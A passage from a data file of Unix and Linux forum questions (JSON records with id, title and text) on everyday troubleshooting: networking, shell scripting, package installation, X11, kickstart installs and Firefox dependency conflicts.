net.ipv4.conf.all.force_igmp_version = 0 net.ipv4.conf.all.forwarding = 0 net.ipv4.conf.all.igmpv2_unsolicited_report_interval = 10000 net.ipv4.conf.all.igmpv3_unsolicited_report_interval = 1000 net.ipv4.conf.all.log_martians = 0 net.ipv4.conf.all.mc_forwarding = 0 net.ipv4.conf.all.medium_id = 0 net.ipv4.conf.all.promote_secondaries = 0 net.ipv4.conf.all.proxy_arp = 0 net.ipv4.conf.all.proxy_arp_pvlan = 0 net.ipv4.conf.all.route_localnet = 0 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.all.secure_redirects = 1 net.ipv4.conf.all.send_redirects = 1 net.ipv4.conf.all.shared_media = 1 net.ipv4.conf.all.src_valid_mark = 0 net.ipv4.conf.all.tag = 0 **EDIT 2** below is my iptables Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Thanks in advance."} {"_id": "9112", "title": "Power management hook for running *X11* scripts on wake", "text": "Earlier I asked a similar question, but that one was about running system- level scripts. I have a script that runs a series of `xinput` commands in order to enable two-finger scrolling on my touchpad. It has to be re-run every time the computer sleeps and wakes up again, and it has to be run from within the X11 session. How do I trigger a script to be run on my X11 desktop when the computer wakes up? P.S. I _suspect_ there's a way to do this with DBUS, but I' m fuzzy on the specifics. Maybe someone with stronger DBUS-fu could point me in the right direction."} {"_id": "9115", "title": "Can I get an 8-bit clean connection with 'socat'?", "text": "This question is mostly about \"socat\", but here's some background to go with it: I am trying -- for reasons having mostly to do with nostalgia -- to write a virtual modem driver for use with VirtualBox. It should listen to the socket that VirtualBox connects to the virtual guest, and emulate (a) a standard Hayes command set and (b) let one connect to remote systems using \"atd some.host.name\". Mostly it works, but I've run into problems with data transfers. I assume the problem is mine, because I seldom have the chance to muck about with mult-channel communication, select loops, and the like... ...so I though I would prototype my solution using the \"socat\" command, like this: socat UNIX-CONNECT:/tmp/vbox.port EXEC:\"telnet -E8 some.remote.host\" This works, sort of, just like my solution -- basic interactive typing seems fine, but try a file transfer and it just falls over. I've also tried this, just in case there was some sort of tty line discipline in the way: socat UNIX-CONNECT:/tmp/vbox.port EXEC:\"telnet -E8 some.remote.host\",pty,raw,cs8 That didn't work any better. I'm wondering if anyone here has thoughts on solving this. The problem is not with telnet; using `-E8` provides an 8-bit clean path that works fine by itself (e.g., when not involved in this sort of pty-proxying). This is obviously not a critical problem, but I'm hoping that someone else out there finds it at least mildly interesting."} {"_id": "12287", "title": "pppoe connection keeps disconnecting every 30 seconds", "text": "I have hotspot connection. We first connect to wireless and enter a username / password on pppoe connection with windows. When I use the ubuntu (11.04) I have to use pppoeconf module. Today I setup this module. Then I connect. However, after the 30 seconds wireless will be disconnect. I connect to wireless, then again after the 30 seconds it will be disconnect. What can I do ? There is no problem driver (I think because when I dont use the pppoeconf, I try to connect to wireless, then did disconnected.What can I do ? Ever 30 seconds I connect the wireless,It's so boring"} {"_id": "22265", "title": "Why does cd // work?", "text": "> **Possible Duplicate:** > unix, difference between path starting with '/' and '//' On my Mac OS X Lion box, with Bash: $ cd // $ pwd // $ ls Applications System cores mach_kernel sbin Developer Users dev net tmp Library Volumes etc opt usr Network bin home private var This has to be some mysterious backwards-compatibility thing, but what is it?"} {"_id": "24112", "title": "\"cd //\" and \"cd /\" what is the difference?", "text": "> **Possible Duplicate:** > unix, difference between path starting with '/' and '//' If I make a `cd //` followed by a `pwd` I see: # cd // # pwd // why is that? what's the differece with: cd / pwd / Everything looks the same to me..."} {"_id": "21156", "title": "Install ffmpeg 0.7.1-5 from debian package", "text": "I downloaded this package for ffmpeg. When I try to install it with command `sudo dpkg -i ffmpeg_0.7.1-5_i386.deb` it writes this error message: Unpacking ffmpeg (from ffmpeg_0.7.1-5_i386.deb) ... dpkg: error processing ffmpeg_0.7.1-5_i386.deb (--install): trying to overwrite '/usr/share/ffmpeg/libx264-ipod640.ffpreset', which is also in package libavcodec-extra-52 4:0.5.1-1ubuntu1.2 dpkg-deb: subprocess paste killed by signal (Broken pipe) Errors were encountered while processing: ffmpeg_0.7.1-5_i386.deb Could you help me with the installation of this particular version (0.7.1-5) for Ubuntu 10.04? EDIT: after command `sudo apt-get remove libavcodec52 libavcodec-extra-52` new output Should I go manually now step by step and install the dependencies (and possibly their dependencies) or is there some trick?"} {"_id": "12288", "title": "ZSH: insert completion on first tab even if ambiguous?", "text": "Currently ZSH displays a menu when I first hit tab and the completion is ambiguous. So, if I have 'cd ' in the command prompt and I hit tab, it will show the different available completions. If I hit tab again, it will select the first available completion. I would like to merge these two steps into a single press of the tab key. So, if I'm at 'cd ' and I tab, I would like ZSH to insert the first available match (when ambiguous) and display the menu, which I can then tab through if the first match wasn't the directory I had in mind. The ZSH setup tool put this in my .zshrc, in case any of this is affecting the behavior of my shell: zstyle ':completion:*' completer _expand _complete _ignored zstyle ':completion:*' list-colors '' zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s zstyle ':completion:*' matcher-list 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}' '' 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}' zstyle ':completion:*' menu select=5 zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s zstyle :compinstall filename '/home/robb/.zshrc'"} {"_id": "21153", "title": "Minimize need for sudo", "text": "Very often I need to use the `sudo` command because the command I'm running needs higher privileges. Is there some method to minimize the usage of `sudo` and/or a way to use it that's faster than typing my password, but which is still secure?"} {"_id": "21151", "title": "Error handling in shell script", "text": "I wrote a shell script `run_script.sh`, which includes a step which creates an empty file `run_script.lck`. Everytime the shell script was called by the cronjob, it will check for the existence of `run_script.lck`. If the lock is presence, it indicates that `run_script.sh` is already running and hasn't finished yet. The `run_script.lck` file will be deleted in the end of the program. The trouble is to remove the lock file when the shell script crashed and before it exits. I wrote a line like this: trap \"rm -f run_script.lck\" EXIT But it will remove the lock file in an undesired condition like this: I execute `run_script.sh` in shell A, and it is running, the lock file was created. Then I execute it again in shell B, and it said that the script is already running and the script will be aborted. However, because the trap received an EXIT signal including the signal from shell B, which is exiting an aborted script, then it removes the lock file. And the script in shell A is still running, but the lock was deleted and anyone can call another `run_script.sh` again while there is already one script running. Any idea how to solve this?"} {"_id": "86271", "title": "No route to host after upgrade to Fedora 19", "text": "I recently upgraded a system from Fedora 17 to 19. Now, I am not able to connect to any service **other than ssh** (perhaps a few others may be available but not sure) on it. Earlier this was not a problem. I have tried to disable any firewall: $ sudo service iptables stop Redirecting to /bin/systemctl stop iptables.service $ sudo /etc/init.d/ebtables stop Stopping ebtables (via systemctl): [ OK ] Also tried `nc` at arbitrary port: $ nc -l 28000 and tried to connect from another host: $ nc myhost 28000 Ncat: No route to host. Any ideas? I am using KVM on this host to support Linux guests with bridged networking (note I am trying to troubleshoot the physical host not the guests), if that helps. Also, here is the output of `chkconfig`. Note: This output shows SysV services only and does not include native systemd services. SysV configuration data might be overridden by native systemd configuration. If you want to list systemd services use 'systemctl list-unit-files'. To see services enabled on particular target use 'systemctl list-dependencies [target]'. btseed 0:off 1:off 2:off 3:off 4:off 5:off 6:off bttrack 0:off 1:off 2:off 3:off 4:off 5:off 6:off ceph 0:off 1:off 2:off 3:off 4:off 5:off 6:off dkms_autoinstaller 0:off 1:off 2:on 3:on 4:on 5:on 6:off ebtables 0:off 1:off 2:off 3:off 4:off 5:off 6:off jexec 0:on 1:on 2:on 3:on 4:on 5:on 6:on livesys 0:off 1:off 2:off 3:on 4:on 5:on 6:off livesys-late 0:off 1:off 2:off 3:on 4:on 5:on 6:off netconsole 0:off 1:off 2:off 3:off 4:off 5:off 6:off network 0:off 1:off 2:on 3:on 4:on 5:on 6:off vboxballoonctrl-service 0:off 1:off 2:off 3:off 4:off 5:off 6:off vboxdrv 0:off 1:off 2:off 3:off 4:off 5:off 6:off vboxweb-service 0:off 1:off 2:off 3:off 4:off 5:off 6:off"} {"_id": "70775", "title": "How to boot on Fedora 18 (Grub2)", "text": "I have Fedora 18 and Windows 7 on my laptop. I had grub2 bootloader and the default is been set to windows 7. After I turn on my laptop it just automatically boots into windows 7. Now I want to set the default to Fedora 18 again, can you help?"} {"_id": "150271", "title": "Accidentally garbled a bunch of file names in /tmp... ssh keys asking for passwords", "text": "I accidentally garbled the file names of the contents of my /tmp directory (don't ask) to the point where they're not recoverable. Since doing so, I'm always asked for the password to my ssh keys (particularly in git). Any suggestions/fixes? * * * **Edit:** Per the suggestion below, a reboot did the trick."} {"_id": "81309", "title": "Deadlock in a crontab between cron and its child defunct processes", "text": "I'm having a strange case of deadlock, where the two processes launched by `cron` are defunct, but `cron` does not pick the return code and exit. I don't have access to the root user. myuser@myserver:~) ps -ef | grep 30163 11:29AM 3701 28964 29950 0 11:30 pts/13 00:00:00 grep 30163 root 30163 6622 0 11:00 ? 00:00:00 /usr/sbin/cron 3701 30199 30163 0 11:00 ? 00:00:00 [monitor_daemon] 3701 30598 30163 0 11:00 ? 00:00:00 [sendmail] myuser@myserver:~) 1. Is there a known reason why we would end up in such a situation? 2. How, without having access to the root user, can I get rid of those three processes that consume memory? I'm using the following kernel/distribution: Linux myserver 2.6.32.23-0.3-default #1 SMP 2010-10-07 14:57:45 +0200 x86_64 x86_64 x86_64 GNU/Linux LSB_VERSION=\"core-2.0-noarch:core-3.2-noarch:core-4.0-noarch:core-2.0-x86_64:core-3.2-x86_64:core-4.0-x86_64\" SUSE Linux Enterprise Server 11 (x86_64) VERSION = 11 PATCHLEVEL = 1"} {"_id": "81308", "title": "Xmonad: some apps do not start in workspace which I defined in config", "text": "This is part of my config of xmonad in `~/.xmonad/xmonad.hs` myWorkspaces :: [String] myWorkspaces = clickable . (map dzenEscape) $ [\"web\",\"doc\",\"ssh\",\"devel\",\"chat\",\"temp\"] where clickable l = [ \"^ca(1,xdotool key super+\" ++ show (n) ++ \")\" ++ ws ++ \"^ca()\" | (i,ws) <- zip [1..] l, let n = i ] myManageHook = composeAll [ className =? \"MPlayer\" --> doFloat , className =? \"Vlc\" --> doFloat , className =? \"Gimp\" --> doFloat , className =? \"skype\" --> doF (W.shift (myWorkspaces !! 4)) , className =? \"Mail\" --> doF (W.shift (myWorkspaces !! 4)) -- , className =? \"XCalc\" --> doFloat , className =? \"Firefox\" --> doF (W.shift (myWorkspaces !! 0)) -- send to ws 0 -- , className =? \"Nautilus\" --> doF (W.shift (myWorkspaces !! 5)) -- send to ws 5 , className =? \"gvim\" --> doF (W.shift (myWorkspaces !! 1)) -- send to ws 1 -- , className =? \"Terminal\" --> doF (W.shift (myWorkspaces !! 3)) -- send to ws 3 , className =? \"Gimp\" --> doF (W.shift (myWorkspaces !! 1)) -- send to ws 1 , className =? \"Codeblocks\" --> doF (W.shift (myWorkspaces !! 3)) -- send to ws 3 , className =? \"stalonetray\" --> doIgnore ] The thing is, that Firefox or Codeblocks start at workspace I want, but skype and mail (Thunderbird) doest respect these settings and always start in active workspace."} {"_id": "81304", "title": "Resolving circular dependency hell for libX11 and libXi", "text": "I'm trying to install `X11` from source. Source files from some repository: libX11-1.6.0.tar.gz libXi-1.7.1.901.tar.gz `libX11-1.6.0` paulk@node005:libX11-1.6.0$ ./configure --prefix=$HOME/software XKBExtDev.c:35:31: fatal error: X11/extensions/XI.h: No such file or directory compilation terminated. make[3]: *** [XKBExtDev.lo] Error 1 make[3]: Leaving directory `/home/paulk/libX11-1.6.0/src/xkb' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/home/paulk/libX11-1.6.0/src' make[1]: *** [all] Error 2 make[1]: Leaving directory `/home/paulk/libX11-1.6.0/src' make: *** [all-recursive] Error 1 but for `libXi-1.7.1.901` paulk@node005:libXi-1.7.1.901$ configure: error: Package requirements (xproto >= 7.0.13 x11 >= 1.4.99.1 xextproto >= 7.0.3 xext >= 1.0.99.1 inputproto >= 2.2.99.1) were not met: No package 'x11' found No package 'xext' found No package 'inputproto' found What could I be missing?"} {"_id": "64084", "title": "how to require sudo to view files?", "text": "I have a ssh server. I allow people to connect to it if they want. I do my programming homework on it. I am in trouble with my teacher because people were cheating off it. I need to know how to require sudo just to access the file."} {"_id": "64083", "title": "Linux Kickstart stops with dialog about \u201cCD Found\u201d", "text": "I'm installing Red Hat in a virtual machine, I'm using a kickstart file from an url, but few moments later the system starts to load, it shows a dialog about \"CD Found - To begin testing the CD media...\" The kickstart file looks like this: # Kickstart file automatically generated by anaconda. url --url=http://rha-server/pub/os/rhel5 reboot install cdrom lang en_US.UTF-8 langsupport --default=en_US.UTF-8 en_US.UTF-8 keyboard us-acentos xconfig --card \"VESA driver (generic)\" --videoram 12288 --hsync 31.5-37.9 --vsync 50-70 --resolution 800x600 --depth 16 --startxonboot --defaultdesktop gnome network --device eth0 --bootproto dhcp rootpw --iscrypted $1$ADLUertwert4DAsC7Hi7nN9S/kvbu. firewall --disabled selinux --permissive authconfig --enableshadow --passalgo=md5 timezone America/Costa_Rica bootloader --location=mbr --append=\"rhgb quiet\" # The following is the partition information you requested # Note that any partitions you deleted are not expressed # here so unless you clear all partitions first, this is # not guaranteed to work clearpart --all part /boot --fstype ext3 --size=100 part pv.8 --size=10200 #volgroup LV0 --pesize=32768 pv.8 #logvol / --fstype ext3 --name=root --vgname=LV0 --size=6080 #logvol swap --fstype swap --name=swap --vgname=LV0 --size=4096 %packages @ admin-tools @ editors @ emacs @ system-tools @ text-internet @ gnome-desktop @ dialup @ compat-arch-support @ smb-server @ base-x @ web-server @ printing @ server-cfg @ development-tools @ graphical-internet system-config-httpd system-config-samba system-config-printer system-config-boot system-switch-mail kernel system-config-printer-gui system-config-kickstart system-switch-mail-gnome e2fsprogs kernel-devel grub lvm2 %post echo \"192.168.0.254 rha-server\" >> /etc/hosts RHA_PUB=http://rha-server/pub curl $RHA_PUB/rha/yum/rha-rhel.repo > /etc/yum.repos.d/rha-rhel.repo curl $RHA_PUB/rha/yum/rha.repo > /etc/yum.repos.d/rha.repo yum groupinstall -y \"Red Hat Academy Student\" Is there something wrong? Thanks! Dialog image: http://img211.imagevenue.com/img.php?image=261712969_Dialog_122_1128lo.jpg"} {"_id": "153182", "title": "Copy and paste text in Xterm on OpenBSD", "text": "I installed OpenBSD 5.5 using the recommended defaults. The OS came with fvwm as the window manager. How do I copy text within an Xterm and paste it into another Xterm? Using the mouse? Using only the keyboard? Before making this post, I checked the man page of fvwm and there is nothing that answers my question."} {"_id": "81302", "title": "Is the GNU Coreutils copied from Unix?", "text": "`Linux` itself is not a copy of `Unix` because one can argue it simply conforms to the `POSIX` standard. However, how about the `GNU Coreutils` which contains utilities like `ls`, `cd` and `rm`, etc...? Is there any standard defining the names of these basic utilities and their behaviors? If not, can we say it was copied from `Unix`?"} {"_id": "21485", "title": "What is the maximum memory a 64bit process can consume?", "text": "I know that there is a hardware capacity of 2^48 bits, and I know that there isn't a lot of native limiting of app memory constraints in general by the kernel, but is there an upper bound of the memory that an app can consume in general besides 2^48 because that's the number of channels available on the DIMM sockets? For reference, Redmond limits their products to ~2TB on most server products."} {"_id": "42287", "title": "Terminating an infinite loop", "text": "I have a command that I want to have run again automatically each time it terminates, so I ran something like this: while [ 1 ]; do COMMAND; done; but if I can't stop the loop with `Ctrl-c` as that just kills `COMMAND` and not the entire loop. How would I achieve something similar but which I can stop without having to close the terminal?"} {"_id": "42281", "title": "Extract value from different column and replace in another column", "text": "I am a biologist, I need one more help in text file editing. I would like to get the help of computer experts ##fsdfsd ##sdd-ver gen 5.5.7 Xm Gen CDS 1 148 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 149 193 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 194 279 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 280 412 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 413 499 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 500 702 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen extracted region 1 148 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"437225 <- 437372\";ID=Bm Xm Gen extracted region 149 193 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"436969 <- 437013\";ID=Bm Xm Gen extracted region 194 279 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"435418 <- 435503\";ID=Bm Xm Gen extracted region 280 412 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"435209 <- 435341\";ID=Bm Xm Gen extracted region 413 499 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"434376 <- 434462\";ID=Bm Xm Gen extracted region 500 702 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"434084 <- 434286\";ID=Bm Replace (Xm Gen CDS) rows with values present in (Xm Gen extracted region) rows. i.e first row ($4 column:1 is replaced with 437225 value and $5 column:148 is replaced with 437372, in row 2 ($4 column:149 replaced with 436969, $5 column:193 replaced with 437013 and so on) and print output like below ##gff-version 2 ##source-version geneious 5.5.7 Xm Gen CDS 437225 437372 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 436969 437013 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 435418 435503 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 435209 435341 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 434376 434462 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen CDS 434084 434286 . + . Name=;created by=User;modified by=User;ID=Bm Xm Gen extracted region 1 148 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"437225 <- 437372\";ID=Bm Xm Gen extracted region 149 193 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"436969 <- 437013\";ID=Bm Xm Gen extracted region 194 279 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"435418 <- 435503\";ID=Bm Xm Gen extracted region 280 412 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"435209 <- 435341\";ID=Bm Xm Gen extracted region 413 499 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"434376 <- 434462\";ID=Bm Xm Gen extracted region 500 702 . + . Name=Extracted region from gi|371442828|gb|JH557032.1|;Extracted interval=\"434084 <- 434286\";ID=Bm"} {"_id": "125567", "title": "yum translation of rpm -Uvh", "text": "I'm trying to understand what `yum` version of `rpm -Uvh` is. I found this question about that command and `yum`, but it doesn't have what I'm looking for. Looking at `\\--help`, would this be the equivalent of `-Uvh`? $ yum -v update I'm using `yum 3.2.22`"} {"_id": "125564", "title": "strange NTP traffic", "text": "I have a number of openSUSE VMs (mostly 13.1). One of the VMs is configured to sync its time with the outside world, the other ones sync with this one. This has never caused problems (I am aware of). Now I noticed that ntpd on the outside-connected VM causes about 9% CPU load (permanently!) and makes connections to 15+ hosts causing outbound traffic of about 100K/s and inbound traffic at a little lower level (all from/to my UDP port 123) \u2013 which even continues (now for several minutes) after I have stopped ntpd and there is no such outbound traffic any more. I had configured ntpd to the pool address de.pool.ntp.org but that does not make a difference. I made a distro upgrade (booting from DVD) and afterwards even reinstalled ntp without any change. **Edit: problem \"solved\"** After I have blocked incoming UDP 123 completely `ntpd` acts normally. I still don't understand what may have caused this. It should not be possible to connect to this VM port from the outside. There is no port forwarding in the VDSL router. But: A few minutes ago I sent a UDP packet to port 123 from the Internet and (whyever) the VDSL router passed it to the VM. If I repeat that now then the packet does not reach the VM any more. Maybe that was a strange NAT side effect of the many UDP 123 connections. I am going to block this traffic except for the intended servers."} {"_id": "42289", "title": "I installed Linux Mint 13 Maya (MATE) 64 bit, what should I choose when asked between Ubuntu, Fedora, etc?", "text": "Every other download for Linux, I'm being asked what distribution I have (Ubuntu, Fedora, Debian etc) What should I choose having installed Linux Mint 13 Maya (MATE) 64 bit?"} {"_id": "71429", "title": "Redirect all non-local traffic to a socks proxy", "text": "Is it possible to redirect all non-local traffic to a socks proxy? so, for example i have: 4 computers (clients A-D: 10.0.0.1-3 or dhcp) 1 computer with 2 network cards (gateway-server, eth0: 10.0.0.254, eth1: 192.168.1.1) 1 computer with 2 network cards (router, eth0: 192.168.1.254, eth1: public-ip) i need to make all computer that through my gateway-server to use socks proxy that installed on gateway-server without need to configure each client's browser. the purpose is to log all urls and bandwidth usages. the question is.. 1. is it possible? and if so, how to do it? 2. if is it not possible, what are the alternative?"} {"_id": "46902", "title": "Howto use Google DNS with ppp", "text": "I have a mobile broadband device that I use to connect to the internet. I wish to use the google dns service, their nameservers being `8.8.8.8` and `8.8.8.4`. I add them to `/etc/resolv.conf` but when I connect with wvdial, \u279c ~ sudo wvdial mts --> WvDial: Internet dialer version 1.61 --> Initializing modem. --> Sending: ATZ OK --> Modem initialized. --> Sending: ATDT#777 --> Waiting for carrier. ATDT#777 CONNECT 3100000 --> Carrier detected. Starting PPP immediately. --> Starting pppd at Sat Sep 1 19:45:18 2012 --> Pid of pppd: 3298 --> Using interface ppp0 --> local IP address 180.215.45.164 --> remote IP address 10.228.138.133 --> primary DNS address 10.228.129.114 --> secondary DNS address 10.228.129.113 This updates my `resolv.conf` to the new DNS servers. The problem is that my ISP's DNS service is buggy and I wish to use either google dns or opendns. How do I achieve this? I am running chakra linux (2012.08.22 - Claire)"} {"_id": "149775", "title": "Activate iSight in Linux Mint Qiana on a Virtual Machine", "text": "I'm trying to get the built-in iSight cam of my MacBook Pro 5,1 (running OS X 10.5.8 ) to run under the just-downloaded Linux Mint Qiana edition, which I have installed in Virtual Box (v.4.1.18, for compatibility reasons) as a Virtual Machine. I have installed the firmware and followed the instructions on https://help.ubuntu.com/community/MactelSupportTeam/AppleiSight and the device is apparently recognized and associated with /dev/video0 as it should. I have also installed various libraries like libgcrypt20-dev and libusb-dev according to a suggestion on http://community.linuxmint.com/tutorial/view/669. Nonetheless, the iSight doesn't work under Linux, although it functions correctly under OS X. I have tried: * Skype (the main purpose of the whole effort): device recognized, no image * Cheese: device recognized, error msg: \"There was an error playing video from the webcam\" * guvcview: device recognized and even switched on, but the captured image is just black * gstreamer-properties: device recognized, error msg: gstreamer-properties-Message: Skipping unavailable plugin 'artsdsink' gstreamer-properties-Message: Skipping unavailable plugin 'esdsink' gstreamer-properties-Message: Skipping unavailable plugin 'sunaudiosink' gstreamer-properties-Message: Skipping unavailable plugin 'glimagesink' gstreamer-properties-Message: Skipping unavailable plugin 'sdlvideosink' gstreamer-properties-Message: Skipping unavailable plugin 'v4lmjpegsrc' gstreamer-properties-Message: Skipping unavailable plugin 'qcamsrc' gstreamer-properties-Message: Skipping unavailable plugin 'v4lsrc' gstreamer-properties-Message: Skipping unavailable plugin 'esdmon' gstreamer-properties-Message: Skipping unavailable plugin 'sunaudiosrc' libv4l2: error turning on stream: Input/output error gstreamer-properties-Message: Error running pipeline 'Video for Linux 2 (v4l2)': Error starting streaming on device '/dev/video0'. [gstv4l2object.c(2230): gst_v4l2_object_start_streaming (): /GstPipeline:pipeline0/GstV4l2Src:v4l2src1: system error: Input/output error] libv4l2: error turning on stream: Input/output error gstreamer-properties-Message: Error running pipeline 'Video for Linux 2 (v4l2)': Error starting streaming on device '/dev/video0'. [gstv4l2object.c(2230): gst_v4l2_object_start_streaming (): /GstPipeline:pipeline1/GstV4l2Src:v4l2src2: system error: Input/output error] I have also explicitly set my user permissions under Linux so I can access video (and audio) devices). Does anybody have an idea what is _still_ going wrong?"} {"_id": "46900", "title": "How to move file based on file name expression using shell script?", "text": "I want to achieve the following using a shell script. When a script is called with a file as a parameter, it should move the file based on a portion of its name. For example, \"Car insurance quotations_zz21.pdf\" to sort into 21.Car insurance (a sub-folder of FilingCab) \"2012-09-01 Home insurance quote_zz20.pdf\" to sort into 20.Home insurance (a sub-folder of FilingCab) Logically I think it should read something like this. I did programming long long time ago, so I think have the algorithm, but do not have the commands or the syntax. Thanks a bunch for help! * * * FileToMove = $1 FolderNo = (The number after zz and before a .) ParentFolder = (~/FilingCab) FolderList = (List of all folders in ParentFolder) TargetFolder = (Folder among FolderList that begins with FolderNo) - use grep? if TargetFolder <> not empty cd ParentFolder mv FileToMove to TargetFolder end with success else do nothing endif end script"} {"_id": "46901", "title": "Regarding .gvfs not letting delete a user's home directory", "text": "I am using Fedora 9. I removed the user using `userdel -r command`. The user is removed, but the home directory still remains. When I tried to remove the home directory (`rm -rf /home/user/`), I get the following message: > rm: cannot remove '/home/user/.gvfs': Permission denied This happens on random occasions. Which scenario does this occur? Why is this occurring?"} {"_id": "149771", "title": "Malloc and Paging", "text": "When a user process invokes malloc(n), are there any physical pages allocated to the process? I believe No since malloc allocates from the heap. Is this correct?"} {"_id": "46904", "title": "how to access homedir by root user", "text": "I want to access `root` user's home directory `/root/`. However following commands dont lead me to the root directory. > sudo -s > > cd ~ It leads to the home dir of regular user. How to access `/root` when using `sudo -s` to login as `root`. I am using `bash4` on `ubuntu12.04`."} {"_id": "108629", "title": "Utilizing a newer standalone glibc", "text": "We're running RHEL6, which only officially supports glibc 2.12. A user is requesting that we install a newer version. I grabbed 2.18 from http://ftp.gnu.org/gnu/glibc/ and had no trouble running configure/make. However when I attempt a small program to test it, I don't get the desired result: **test.c** #include #include int main (void) { puts (gnu_get_libc_version ()); return 0; } I then compile and run with: gcc test.c ./a.out And the output I get is: 2.12 when I was hoping to get: 2.18 I also tried: gcc -I/scratch/new-glibc-testing/include test.c and changed the define line to: #include which compiles, but gives the same result (2.12). I tried also using -nostdlib, ex: gcc -nostdlib -I/scratch/new-glibc-testing test.c This, however, throws errors: /usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000400144 /tmp/cc6x03Do.o: In function `main': test.c:(.text+0x5): undefined reference to `gnu_get_libc_version' test.c:(.text+0xd): undefined reference to `puts' collect2: ld returned 1 exit status `gcc --version` results in: **gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-4)**"} {"_id": "93408", "title": "Recover from ext2 filesystem corruption", "text": "I have a TinyCore (3.6) Linux distribution on a device of mine, which uses disk-on-module or compact flash storage. The filesystem is ext2. I have a LAMP stack on this device and I'm playing with a MySQL database containing over 400 tables (myisam). Write operations occur systematically every 15 minutes. These tables are generated by my web application, according to my setup needs. Now, it happens that this device can be abruptly shut down, due to lack of power. What happens is that, if MySQL is performing some write operation (i.e. `update`, `delete`, `insert`) some of the data as well as index files can be corrupted. It's no big deal for sure, but performing a `repair table` operation is not that bad; tables are repaired and applications can continue running, even if unfortunately some data is lost (which in my case could be acceptable). The problem is that, often, when an abrupt shutdown occurs, several mysql table files (FRM or MYI or MYD) are in \"Input/Output error\" status and my MySQL front-end reports a \"storage engine error 5\" (I/O error) for those tables. Applications using the database are obviously unable to run correctly. Rather than to prevent events like those ones (which I think are unavoidable at some extent) I would like to think about something to correctly and possibly automatically recover from file I/O error situations deriving from scenarios described above. Any ideas? **EDIT:** Unfortunately I can't switch to ext3, I must stick with ext2, also due to the fact that ext3 would heavily affect solid state memory write cycles."} {"_id": "10664", "title": "Where to find file transfer history from a SSH client (Debian/Linux)?", "text": "Help!! Have you ever tried dragging a folder to another folder by mistake in a graphical SSH client? Well, I did this morning, and since I wanted it to stop immediately (I could see it was about to move hundreds of files), I closed down the client by hitting X. Now, my problem is, I don't know which folder was accidentally moved (well, actually, the client didn't have time to move the folder, but my guess is 3-4 files in it were actually moved). So my question is: **how do I recall the \"file transfer\" history (or whatever history I need) on a Debian/Linux system?** I have google'd it to no avail. And, of course, I have tried the \"history\" command and the .bash_history file, but I guess they only cover commands issued from the command line. I don't know how my SSH client issues file commands (my guess is it has something to do with SFTP) so I have no clue where to find the history. My client, in case it matters, is SSH Secure Shell for Windows."} {"_id": "53077", "title": "Firefox circular-dependency hell on Linux Mint 13", "text": "Having difficulty re-installing Firefox, after an installation to resolve `places.sqlite` issues. It appears that I'm trapped in _circular_ dependency hell. Need to resolve firefox dependency hell to attempt to resolve Tomcat6 project dependencies (don't ask), ASAP. Have been trying for hours. What I've done (brief) sudo apt-get purge firefox firefox-globalmenu firefox-gnome-support sudo apt-get update sudo apt-get install firefox firefox-globalmenu firefox-gnome-support sudo apt-get -f install * * * **Potential error sources:** Found in `sudo apt-get install firefox firefox- globalmenu firefox-gnome-support` > dpkg: error processing > /var/cache/apt/archives/firefox_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb > (--unpack): trying to overwrite '/usr/lib/firefox/extensions', which is also > in package mint-search-addon 2012.05.11 So, `/usr/lib/firefox/extensions` doesn't even EXIST! Deleted `/var/cache/apt/archives/firefox_18.0~a2~hg20121027r113701` as per recommendations. Errors were encountered while processing: /var/cache/apt/archives/firefox_18.0~a2~hg20121027r113701-0ubuntu1~umd1~precise_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) Outputs: * `sudo apt-get purge firefox firefox-globalmenu firefox-gnome-support` tyler@machine ~ $ sudo apt-get purge firefox firefox-globalmenu firefox-gnome-support [sudo] password for tyler: Reading package lists... Done Building dependency tree Reading state information... Done Package firefox is not installed, so not removed The following packages will be REMOVED: firefox-globalmenu* firefox-gnome-support* 0 upgraded, 0 newly installed, 2 to remove and 38 not upgraded. 2 not fully installed or removed. After this operation, 460 kB disk space will be freed. Do you want to continue [Y/n]? y (Reading database ... dpkg: warning: files list file for package `mysqltuner' missing, assuming package has no files currently installed. (Reading database ... 192642 files and directories currently installed.) Removing firefox-globalmenu ... Removing firefox-gnome-support ... * `tyler@machine ~ $ sudo apt-get install firefox firefox-globalmenu firefox-gnome-support` tyler@machine ~ $ sudo apt-get install firefox firefox-globalmenu firefox-gnome-support Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: latex-xft-fonts The following NEW packages will be installed: firefox firefox-globalmenu 